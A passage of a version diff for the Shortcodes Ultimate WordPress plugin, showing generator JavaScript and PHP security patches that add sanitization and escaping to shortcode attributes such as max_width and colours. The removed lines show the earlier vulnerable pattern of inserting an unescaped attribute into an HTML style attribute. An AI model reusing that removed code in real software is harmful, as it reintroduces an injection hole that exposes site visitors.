=== 'yes') {\\n                    $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\\n                  } else if (value === 'no') { \u002F\u002F Enable\\n                    $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\\n                  }\\n                }\\n              )\\n              \u002F\u002F Init tax_term selects\\n              $('select#su-generator-attr-taxonomy').on(\\n                'change',\\n                function () {\\n                  var $taxonomy = $(this)\\n                  var tax = $taxonomy.val()\\n                  var $terms = $('select#su-generator-attr-tax_term')\\n                  \u002F\u002F Load new options\\n                  window.su_generator_get_terms = $.ajax(\\n                    {\\n                      type: 'POST',\\n                      url: ajaxurl,\\n                      data: {\\n                        action: 'su_generator_get_terms',\\n                        tax: tax,\\n                        noselect: true\\n                      },\\n                      dataType: 'html',\\n                      beforeSend: function () {\\n                        \u002F\u002F Check previous requests\\n                        if (typeof window.su_generator_get_terms === 'object') {\\n                          window.su_generator_get_terms.abort()\\n                        }\\n                        \u002F\u002F Show loading animation\\n                        $terms.parent().addClass('su-generator-loading')\\n                      },\\n                      success: function (data) {\\n                        \u002F\u002F Remove previous options\\n                        $terms.find('option').remove()\\n                        \u002F\u002F Append new options\\n                        $terms.append(data)\\n                        \u002F\u002F Hide loading animation\\n                        $terms.parent().removeClass('su-generator-loading')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init shadow pickers\\n              $('.su-generator-shadow-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $fields = $picker.find('.su-generator-shadow-picker-field input')\\n                  var $hoff = $picker.find('.su-generator-sp-hoff')\\n                  var $voff = $picker.find('.su-generator-sp-voff')\\n                  var $blur = $picker.find('.su-generator-sp-blur')\\n                  var $color = {\\n                    cnt: $picker.find('.su-generator-shadow-picker-color'),\\n                    value: $picker.find('.su-generator-shadow-picker-color-value'),\\n                    wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\\n                  }\\n                  var $val = $picker.find('.su-generator-attr')\\n                  \u002F\u002F Init color picker\\n                  $color.wheel.farbtastic($color.value)\\n                  $color.value.focus(\\n                    function () {\\n                      $color.wheel.show()\\n                    }\\n                  )\\n                  $color.value.blur(\\n                    function () {\\n                      $color.wheel.hide()\\n                    }\\n                  )\\n                  \u002F\u002F Handle text fields\\n                  $fields.on(\\n                    'change blur keyup',\\n                    function () {\\n                      $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\\n                    }\\n                  )\\n                  $val.on(\\n                    'keyup',\\n                    function () {\\n                      var value = $(this).val().split(' ')\\n                      \u002F\u002F Value is correct\\n                      if (value.length === 4) {\\n                        $hoff.val(value[0].replace('px', ''))\\n                        $voff.val(value[1].replace('px', ''))\\n                        $blur.val(value[2].replace('px', ''))\\n                        $color.value.val(value[3])\\n                        $fields.trigger('keyup')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Init border pickers\\n              $('.su-generator-border-picker').each(\\n                function (index) {\\n                  var $picker = $(this)\\n                  var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\\n                  var $width = $picker.find('.su-generator-bp-width')\\n                  var $style = $picker.find('.su-generator-bp-style')\\n                  var $color = {\\n                    cnt: $picker.find('.su-generator-border-picker-color'),\\n                    value: $picker.find('.su-generator-border-picker-color-value'),\\n                    wheel: $picker.find('.su-generator-border-picker-color-wheel')\\n                  }\\n                  var $val = $picker.find('.su-generator-attr')\\n                  \u002F\u002F Init color picker\\n                  $color.wheel.farbtastic($color.value)\\n                  $color.value.focus(\\n                    function () {\\n                      $color.wheel.show()\\n                    }\\n                  )\\n                  $color.value.blur(\\n                    function () {\\n                      $color.wheel.hide()\\n                    }\\n                  )\\n                  \u002F\u002F Handle text fields\\n                  $fields.on(\\n                    'change blur keyup',\\n                    function () {\\n                      $val.val($width.val() + 'px ' + $style.val() + ' ' + $color.value.val()).trigger('change')\\n                    }\\n                  )\\n                  $val.on(\\n                    'keyup',\\n                    function () {\\n                      var value = $(this).val().split(' ')\\n                      \u002F\u002F Value is correct\\n                      if (value.length === 3) {\\n                        $width.val(value[0].replace('px', ''))\\n                        $style.val(value[1])\\n                        $color.value.val(value[2])\\n                        $fields.trigger('keyup')\\n                      }\\n                    }\\n                  )\\n                }\\n              )\\n              \u002F\u002F Remove skip class when setting is changed\\n              $settings.find('.su-generator-attr').on(\\n                'change keyup blur',\\n                function () {\\n                  var $cnt = $(this).parents('.su-generator-attr-container')\\n                  var _default = $cnt.data('default')\\n                  var val = $(this).val()\\n                  \u002F\u002F Value is changed\\n                  if (val != _default) {\\n                    $cnt.removeClass('su-generator-skip')\\n                  } else {\\n                    $cnt.addClass('su-generator-skip')\\n                  }\\n                }\\n              )\\n              \u002F\u002F Init value setters\\n              $('.su-generator-set-value').click(\\n                function (e) {\\n                  $(this).parents('.su-generator-attr-container').find('input').val($(this).text()).trigger('change')\\n                }\\n              )\\n              \u002F\u002F Save selected value\\n              $selected.val(shortcode)\\n              \u002F\u002F Load last used preset\\n              $.ajax(\\n                {\\n                  type: 'GET',\\n                  url: ajaxurl,\\n                  data: {\\n                    action: 'su_generator_get_preset',\\n                    id: 'last_used',\\n                    shortcode: shortcode,\\n                    nonce: $('#su_generator_presets_nonce').val()\\n                  },\\n                  beforeSend: function () {\\n                    \u002F\u002F Show loading animation\\n                    \u002F\u002F $settings.addClass('su-generator-loading');\\n                  },\\n                  success: function (data) {\\n                    \u002F\u002F Remove loading animation\\n                    \u002F\u002F $settings.removeClass('su-generator-loading');\\n                    \u002F\u002F Set new settings\\n                    self.setSettings(data)\\n                    \u002F\u002F Apply selected text to the content field\\n                    var $content = $('#su-generator-content')\\n                    if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\\n                      $content.val(self.state.mceSelection)\\n                    }\\n                  },\\n                  dataType: 'json'\\n                }\\n              )\\n            },\\n            dataType: 'html'\\n          }\\n        )\\n      }\\n    )\\n    \u002F\u002F Insert shortcode\\n    $('#su-generator').on('click', '.su-generator-insert', self.insertShortcode)\\n    \u002F\u002F Preview shortcode\\n    $('#su-generator').on(\\n      'click',\\n      '.su-generator-toggle-preview',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $preview = $('#su-generator-preview')\\n        var $button = $(this)\\n        \u002F\u002F Hide button\\n        $button.hide()\\n        \u002F\u002F Show preview box\\n        $preview.addClass('su-generator-loading').show()\\n        \u002F\u002F Bind updating on settings changes\\n        $settings.find('input, textarea, select').on(\\n          'change keyup blur',\\n          function () {\\n            self.updatePreview()\\n          }\\n        )\\n        \u002F\u002F Update preview box\\n        self.updatePreview(true)\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n      }\\n    )\\n    var gp_hover_timer\\n    \u002F\u002F Presets manager - mouseenter\\n    $('#su-generator').on(\\n      'mouseenter click',\\n      '.su-generator-presets',\\n      function () {\\n        clearTimeout(gp_hover_timer)\\n        $('.su-gp-popup').show()\\n      }\\n    )\\n    \u002F\u002F Presets manager - mouseleave\\n    $('#su-generator').on(\\n      'mouseleave',\\n      '.su-generator-presets',\\n      function () {\\n        gp_hover_timer = window.setTimeout(\\n          function () {\\n            $('.su-gp-popup').fadeOut(200)\\n          },\\n          600\\n        )\\n      }\\n    )\\n    \u002F\u002F Presets manager - add new preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-new',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $container = $(this).parents('.su-generator-presets')\\n        var $list = $('.su-gp-list')\\n        var id = new Date().getTime()\\n        \u002F\u002F Ask for preset name\\n        var name = prompt(SUGL10n.presets_prompt_msg, SUGL10n.presets_prompt_value)\\n        \u002F\u002F Name is entered\\n        if (name !== '' && name !== null) {\\n          \u002F\u002F Hide default text\\n          $list.find('b').hide()\\n          \u002F\u002F Add new option\\n          $list.append('\u003Cspan data-id=\\\"' + id + '\\\">\u003Cem>' + name + '\u003C\u002Fem>\u003Ci class=\\\"sui sui-times\\\">\u003C\u002Fi>\u003C\u002Fspan>')\\n          \u002F\u002F Perform AJAX request\\n          self.addPreset(id, name)\\n        }\\n      }\\n    )\\n    \u002F\u002F Presets manager - load preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-list span',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var shortcode = $('.su-generator-presets').data('shortcode')\\n        var id = $(this).data('id')\\n        var $insert = $('.su-generator-insert')\\n        \u002F\u002F Hide popup\\n        $('.su-gp-popup').hide()\\n        \u002F\u002F Disable hover timer\\n        clearTimeout(gp_hover_timer)\\n        \u002F\u002F Get the preset\\n        $.ajax(\\n          {\\n            type: 'GET',\\n            url: ajaxurl,\\n            data: {\\n              action: 'su_generator_get_preset',\\n              id: id,\\n              shortcode: shortcode,\\n              nonce: $('#su_generator_presets_nonce').val()\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Disable insert button\\n              $insert.addClass('button-primary-disabled').attr('disabled', true)\\n            },\\n            success: function (data) {\\n              \u002F\u002F Enable insert button\\n              $insert.removeClass('button-primary-disabled').attr('disabled', false)\\n              \u002F\u002F Set new settings\\n              self.setSettings(data)\\n            },\\n            dataType: 'json'\\n          }\\n        )\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n        e.stopPropagation()\\n      }\\n    )\\n    \u002F\u002F Presets manager - remove preset\\n    $('#su-generator').on(\\n      'click',\\n      '.su-gp-list i',\\n      function (e) {\\n        \u002F\u002F Prepare data\\n        var $list = $(this).parents('.su-gp-list')\\n        var $preset = $(this).parent('span')\\n        var id = $preset.data('id')\\n        \u002F\u002F Remove DOM element\\n        $preset.remove()\\n        \u002F\u002F Show default text if last preset was removed\\n        if ($list.find('span').length \u003C 1) {\\n          $list.find('b').show()\\n        }\\n        \u002F\u002F Perform ajax request\\n        self.removePreset(id)\\n        \u002F\u002F Prevent \u003Cspan> action\\n        e.stopPropagation()\\n        \u002F\u002F Prevent default action\\n        e.preventDefault()\\n      }\\n    )\\n  }\\n\\n  \u002F**\\n\\t * Create new preset with specified name from current settings\\n\\t *\u002F\\n  self.addPreset = function (id, name) {\\n    \u002F\u002F Prepare shortcode name and current settings\\n    var shortcode = $('.su-generator-presets').data('shortcode')\\n    var settings = self.getSettings()\\n    \u002F\u002F Perform AJAX request\\n    $.ajax(\\n      {\\n        type: 'POST',\\n        url: ajaxurl,\\n        data: {\\n          action: 'su_generator_add_preset',\\n          id: id,\\n          name: name,\\n          shortcode: shortcode,\\n          settings: settings,\\n          nonce: $('#su_generator_presets_nonce').val()\\n        }\\n      }\\n    )\\n  }\\n  \u002F**\\n\\t * Remove preset by ID\\n\\t *\u002F\\n  self.removePreset = function (id) {\\n    \u002F\u002F Get current shortcode name\\n    var shortcode = $('.su-generator-presets').data('shortcode')\\n    \u002F\u002F Perform AJAX request\\n    $.ajax(\\n      {\\n        type: 'POST',\\n        url: ajaxurl,\\n        data: {\\n          action: 'su_generator_remove_preset',\\n          id: id,\\n          shortcode: shortcode,\\n          nonce: $('#su_generator_presets_nonce').val()\\n        }\\n      }\\n    )\\n  }\\n\\n  self.parseSettings = function () {\\n    var settingsSelector = $('#su-generator-option-skip').val() === 'on'\\n      ? '#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr'\\n      : '#su-generator-settings .su-generator-attr-container .su-generator-attr'\\n    \u002F\u002F Prepare data\\n    var query = $selected.val()\\n    var prefix = $prefix.val()\\n    var $settings = $(settingsSelector)\\n    var $content = $('textarea#su-generator-content')\\n    var content = $content.length ? $content.val() : 'false'\\n    var result = new String('')\\n    \u002F\u002F Open shortcode\\n    result += '[' + prefix + query\\n    \u002F\u002F Add shortcode attributes\\n    $settings.each(\\n      function () {\\n        \u002F\u002F Prepare field and value\\n        var $this = $(this)\\n        var value = ''\\n        \u002F\u002F Selects\\n        if ($this.is('select')) {\\n          value = $this.find('option:selected').val()\\n        }\\n        \u002F\u002F Other fields\\n        else {\\n          value = $this.val()\\n        }\\n        \u002F\u002F Check that value is not empty\\n        if (value == null) {\\n          value = ''\\n        } else if (typeof value === 'array') {\\n          value = value.join(',')\\n        }\\n        \u002F\u002F Add attribute\\n        if (value !== '') {\\n          result += ' ' + $(this).attr('name') + '=\\\"' + $(this).val().toString().replace(\u002F\\\"\u002Fgi, \\\"'\\\") + '\\\"'\\n        }\\n      }\\n    )\\n    \u002F\u002F End of opening tag\\n    result += ']'\\n    \u002F\u002F Wrap shortcode if content presented\\n    if (content != 'false') {\\n      result += content + '[\u002F' + prefix + query + ']'\\n    }\\n    \u002F\u002F Return result\\n    return result\\n  }\\n\\n  self.getSettings = function () {\\n    \u002F\u002F Prepare data\\n    var query = $selected.val()\\n    var $settings = $('#su-generator-settings .su-generator-attr')\\n    var $content = $('textarea#su-generator-content')\\n    var content = $content.length ? $content.val() : 'false'\\n    var data = {}\\n    \u002F\u002F Add shortcode attributes\\n    $settings.each(\\n      function (i) {\\n        \u002F\u002F Prepare field and value\\n        var $this = $(this)\\n        var value = ''\\n        var name = $this.attr('name')\\n        \u002F\u002F Selects\\n        if ($this.is('select')) {\\n          value = $this.find('option:selected').val()\\n        }\\n        \u002F\u002F Other fields\\n        else {\\n          value = $this.val()\\n        }\\n        \u002F\u002F Check that value is not empty\\n        if (value == null) {\\n          value = ''\\n        }\\n        \u002F\u002F Save value\\n        data[name] = value\\n      }\\n    )\\n    \u002F\u002F Add content\\n    data.content = content.toString()\\n    \u002F\u002F Return data\\n    return data\\n  }\\n\\n  self.setSettings = function (data) {\\n    \u002F\u002F Prepare data\\n    var $settings = $('#su-generator-settings .su-generator-attr')\\n    var $content = $('#su-generator-content')\\n    \u002F\u002F Loop through settings\\n    $settings.each(\\n      function () {\\n        var $this = $(this)\\n        var name = $this.attr('name')\\n        \u002F\u002F Data contains value for this field\\n        if (data.hasOwnProperty(name)) {\\n          \u002F\u002F Set new value\\n          $this.val(data[name])\\n          $this.trigger('keyup').trigger('change').trigger('blur')\\n        }\\n      }\\n    )\\n    \u002F\u002F Set content\\n    if (data.hasOwnProperty('content')) {\\n      $content.val(data.content).trigger('keyup').trigger('change').trigger('blur')\\n    }\\n    \u002F\u002F Update preview\\n    self.updatePreview()\\n  }\\n\\n  self.updatePreview = function (forced) {\\n    \u002F\u002F Prepare data\\n    var $preview = $('#su-generator-preview')\\n    var shortcode = self.parseSettings()\\n    var previous = $result.text()\\n    \u002F\u002F Check forced mode\\n    forced = forced || false\\n    \u002F\u002F Break if preview box is hidden (preview isn't enabled)\\n    if (!$preview.is(':visible')) {\\n      return\\n    }\\n    \u002F\u002F Check shortcode is changed is this is not a forced mode\\n    if (shortcode === previous && !forced) {\\n      return\\n    }\\n    \u002F\u002F Run timer to filter often calls\\n    window.clearTimeout(self.state.preview.timer)\\n    self.state.preview.timer = window.setTimeout(\\n      function () {\\n        self.state.preview.request = $.ajax(\\n          {\\n            type: 'POST',\\n            url: ajaxurl,\\n            cache: false,\\n            data: {\\n              action: 'su_generator_preview',\\n              shortcode: shortcode,\\n              nonce: $('#su_generator_preview_nonce').val()\\n            },\\n            beforeSend: function () {\\n              \u002F\u002F Abort previous requests\\n              if (self.state.preview.request) {\\n                self.state.preview.request.abort()\\n              }\\n              \u002F\u002F Show loading animation\\n              $preview.addClass('su-generator-loading').html('')\\n            },\\n            success: function (data) {\\n              \u002F\u002F Hide loading animation and set new HTML\\n              $preview.html(data).removeClass('su-generator-loading')\\n            },\\n            dataType: 'html'\\n          }\\n        )\\n      },\\n      300\\n    )\\n    \u002F\u002F Save shortcode to div\\n    $result.text(shortcode)\\n  }\\n\\n  self.insert = function (context, args) {\\n    if (typeof context !== 'string' || typeof args !== 'object') {\\n      return\\n    }\\n\\n    self.state.context = context\\n    self.state.insertArgs = args\\n\\n    var preSelectedShortcode = args.shortcode || ''\\n\\n    var mfpOptions = {\\n      type: 'inline',\\n      alignTop: true,\\n      closeOnBgClick: false,\\n      mainClass: 'su-generator-mfp',\\n      items: {\\n        src: '#su-generator'\\n      },\\n      callbacks: {}\\n    }\\n\\n    mfpOptions.callbacks.open = () => {\\n      if (preSelectedShortcode) {\\n        $choice.filter(`[data-shortcode=\\\"${preSelectedShortcode}\\\"]`).trigger('click')\\n      } else {\\n        window.setTimeout(() => $search.focus(), 200)\\n      }\\n\\n      \u002F\u002F self.el.body.addClass( 'su-mfp-shown' );\\n\\n      if (\\n        typeof tinyMCE !== 'undefined' &&\\n\\t\\t\\t\\ttinyMCE.activeEditor != null &&\\n\\t\\t\\t\\ttinyMCE.activeEditor.hasOwnProperty('selection')\\n      ) {\\n        self.state.mceSelection = tinyMCE.activeEditor.selection.getContent({ format: 'text' })\\n      }\\n    }\\n\\n    mfpOptions.callbacks.close = () => {\\n      $search.val('')\\n      $settings.html('').hide()\\n      $generator.removeClass('su-generator-narrow')\\n      $filter.show()\\n      $choices.show()\\n      $choice.show()\\n\\n      self.state.mceSelection = ''\\n\\n      \u002F\u002F self.el.body.removeClass( 'su-mfp-shown' );\\n    }\\n\\n    $.magnificPopup.open(mfpOptions)\\n  }\\n\\n  self.insertShortcode = function () {\\n    var shortcode = self.parseSettings()\\n\\n    self.addPreset('last_used', SUGL10n.last_used)\\n\\n    $.magnificPopup.close()\\n\\n    $result.text(shortcode)\\n\\n    if (self.state.context === 'html') {\\n      var HTMLEditor = document.getElementById(self.state.insertArgs.editorID)\\n      self.insertAtCaret(HTMLEditor, shortcode)\\n    }\\n\\n    if (self.state.context === 'classic') {\\n      window.wp.media.editor.insert(shortcode)\\n    }\\n\\n    if (self.state.context === 'block') {\\n      var props = self.state.insertArgs.props\\n\\n      if (props.attributes.hasOwnProperty('content')) {\\n        props.setAttributes({ content: props.attributes.content + shortcode })\\n      } else if (props.name === 'core\u002Fshortcode') {\\n        var originalText = props.attributes.hasOwnProperty('text')\\n          ? props.attributes.text\\n          : ''\\n\\n        props.setAttributes({ text: originalText + shortcode })\\n      }\\n    }\\n\\n    if (self.state.context === 'callback') {\\n      if (typeof self.state.insertArgs.callback === 'function') {\\n        self.state.insertArgs.callback(shortcode)\\n      }\\n    }\\n  }\\n\\n  self.insertAtCaret = (field, text) => {\\n    var start = field.selectionStart\\n    field.value = field.value.substring(0, start) + text + field.value.substring(start)\\n    field.focus()\\n    field.selectionStart = start + text.length\\n  }\\n\\n  return {\\n    init: self.init,\\n    insert: self.insert\\n  }\\n})(jQuery)\\n\\njQuery(document).ready(window.SUG.App.init)\\n\"]}\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fbox.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fbox.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fbox.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fbox.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -86,7 +86,7 @@\n \t\t\t'radius'      => '3',\n \t\t\t'class'       => '',\n \t\t\t'id'          => '',\n-\t\t\t'max_width'   => '',\n+\t\t\t'max_width'   => 'none',\n \t\t),\n \t\t$atts,\n \t\t'box'\n@@ -96,6 +96,10 @@\n \t\t$atts['box_color'] = $atts['color'];\n \t}\n \n+\t$atts['box_color']   = su_sanitize_css_color( $atts['box_color'] );\n+\t$atts['title_color'] = su_sanitize_css_color( $atts['title_color'] );\n+\t$atts['style']       = sanitize_key( $atts['style'] );\n+\n \t$atts['radius'] = is_numeric( $atts['radius'] )\n \t\t? intval( $atts['radius'] )\n \t\t: 0;\n@@ -104,13 +108,17 @@\n \t\t? $atts['radius'] - 2\n \t\t: 0;\n \n-\t$max_width = !empty($atts['max_width']) ? 'max-width:' . (is_numeric($atts['max_width']) ? $atts['max_width'] . 'px' : $atts['max_width']) . ';' : '';\n+\t$atts['max_width'] = su_sanitize_css_value( $atts['max_width'] );\n+\n+\tif ( is_numeric( $atts['max_width'] ) ) {\n+\t\t$atts['max_width'] = intval( $atts['max_width'] ) . 'px';\n+\t}\n \n \tsu_query_asset( 'css', 'su-shortcodes' );\n \n \t\u002F\u002F Return result\n \treturn sprintf(\n-\t\t'\u003Cdiv class=\"su-box su-box-style-%1$s%2$s\" id=\"%10$s\" style=\"border-color:%3$s;border-radius:%4$spx;%11$s\">\u003Cdiv class=\"su-box-title\" style=\"background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx\">%8$s\u003C\u002Fdiv>\u003Cdiv class=\"su-box-content su-u-clearfix su-u-trim\" style=\"border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx\">%9$s\u003C\u002Fdiv>\u003C\u002Fdiv>',\n+\t\t'\u003Cdiv class=\"su-box su-box-style-%1$s%2$s\" id=\"%10$s\" style=\"border-color:%3$s;border-radius:%4$spx;max-width:%11$s\">\u003Cdiv class=\"su-box-title\" style=\"background-color:%5$s;color:%6$s;border-top-left-radius:%7$spx;border-top-right-radius:%7$spx\">%8$s\u003C\u002Fdiv>\u003Cdiv class=\"su-box-content su-u-clearfix su-u-trim\" style=\"border-bottom-left-radius:%7$spx;border-bottom-right-radius:%7$spx\">%9$s\u003C\u002Fdiv>\u003C\u002Fdiv>',\n \t\tesc_attr( $atts['style'] ),\n \t\tsu_get_css_class( $atts ),\n \t\tesc_attr( su_adjust_brightness( $atts['box_color'], -20 ) ),\n@@ -121,7 +129,7 @@\n \t\tsu_do_attribute( $atts['title'], true ),\n \t\tsu_do_nested_shortcodes( $content, 'box' ),\n \t\tsanitize_html_class( $atts['id'] ),\n-\t\t$max_width\n+\t\tesc_attr($atts['max_width'])\n \t);\n \n }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fcustom-gallery.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fcustom-gallery.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fcustom-gallery.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fcustom-gallery.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -119,6 +119,9 @@\n \t\t'custom_gallery'\n \t);\n \n+\t$atts['width']  = intval( $atts['width'] );\n+\t$atts['height'] = intval( $atts['height'] );\n+\n \t$slides = su_get_slides( $atts );\n \t$slides = apply_filters( 'su\u002Fshortcode\u002Fcustom_gallery\u002Fslides', $slides, $atts );\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fimage-carousel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fimage-carousel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Fimage-carousel.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Fimage-carousel.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -302,6 +302,8 @@\n \t\t$atts['class'] .= ' su-image-carousel-adaptive';\n \t}\n \n+\t$atts['max_width'] = su_sanitize_css_value( $atts['max_width'] );\n+\n \tif ( is_numeric( $atts['max_width'] ) ) {\n \t\t$atts['max_width'] = $atts['max_width'] . 'px';\n \t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Flightbox-content.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Flightbox-content.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Flightbox-content.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Flightbox-content.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -138,11 +138,15 @@\n \t\t$atts['padding'] = \"{$atts['padding']}px\";\n \t}\n \n+\t$atts['width']     = su_sanitize_css_value( $atts['width'], 'auto' );\n+\t$atts['min_width'] = su_sanitize_css_value( $atts['min_width'], 'none' );\n+\t$atts['max_width'] = su_sanitize_css_value( $atts['max_width'], '600px' );\n+\n \t$style = array(\n \t\t'display:none',\n-\t\t'width:' . sanitize_text_field( $atts['width'] ),\n-\t\t'min-width:' . sanitize_text_field( $atts['min_width'] ),\n-\t\t'max-width:' . sanitize_text_field( $atts['max_width'] ),\n+\t\t'width:' . $atts['width'],\n+\t\t'min-width:' . $atts['min_width'],\n+\t\t'max-width:' . $atts['max_width'],\n \t\t'margin-top:' . sanitize_text_field( $atts['margin'] ),\n \t\t'margin-bottom:' . sanitize_text_field( $atts['margin'] ),\n \t\t'padding:' . sanitize_text_field( $atts['padding'] ),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Ftooltip.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Ftooltip.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fincludes\u002Fshortcodes\u002Ftooltip.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fincludes\u002Fshortcodes\u002Ftooltip.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -225,7 +225,7 @@\n \t\t'{{BACKGROUND}}'    => esc_attr( $atts['background'] ),\n \t\t'{{COLOR}}'         => esc_attr( $atts['color'] ),\n \t\t'{{FONT_SIZE}}'     => esc_attr( su_maybe_add_css_units( $atts['font_size'], 'px' ) ),\n-\t\t'{{MAX_WIDTH}}'     => esc_attr( su_maybe_add_css_units( $atts['max_width'], 'px' ) ),\n+\t\t'{{MAX_WIDTH}}'     => esc_attr( su_sanitize_css_value( su_maybe_add_css_units( $atts['max_width'], 'px' ), '300px' ) ),\n \t\t'{{ALIGN}}'         => sanitize_key( $atts['text_align'] ),\n \t\t'{{OUTLINE}}'       => sanitize_key( $atts['outline'] ),\n \t\t'{{REFERENCE_TAG}}' => sanitize_key( $atts['reference_tag'] ),\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Freadme.txt\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Freadme.txt\t2026-03-23 19:21:32.000000000 +0000\n@@ -3,7 +3,7 @@\n License: GPLv3\n Donate link: https:\u002F\u002Fgetshortcodes.com\u002Fpricing\u002F\n Tags: posts, carousel, shortcode, toggle, columns\n-Stable tag: 7.4.9\n+Stable tag: 7.5.0\n Requires PHP: 5.4\n Requires at least: 5.0\n Tested up to: 6.9\n@@ -141,6 +141,18 @@\n \n \n \n+= 7.5.0\n+\n+\n+- Fixed \"WP_Scripts::add was called incorrectly\" notice on WordPress 6.9.1\n+- Improved input sanitization in several shortcodes\n+\n+\n+= 7.4.10\n+\n+This update features security improvements and is recommended for all users\n+\n+\n = 7.4.9\n \n This update features security improvements and is recommended for all users\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fshortcodes-ultimate.php 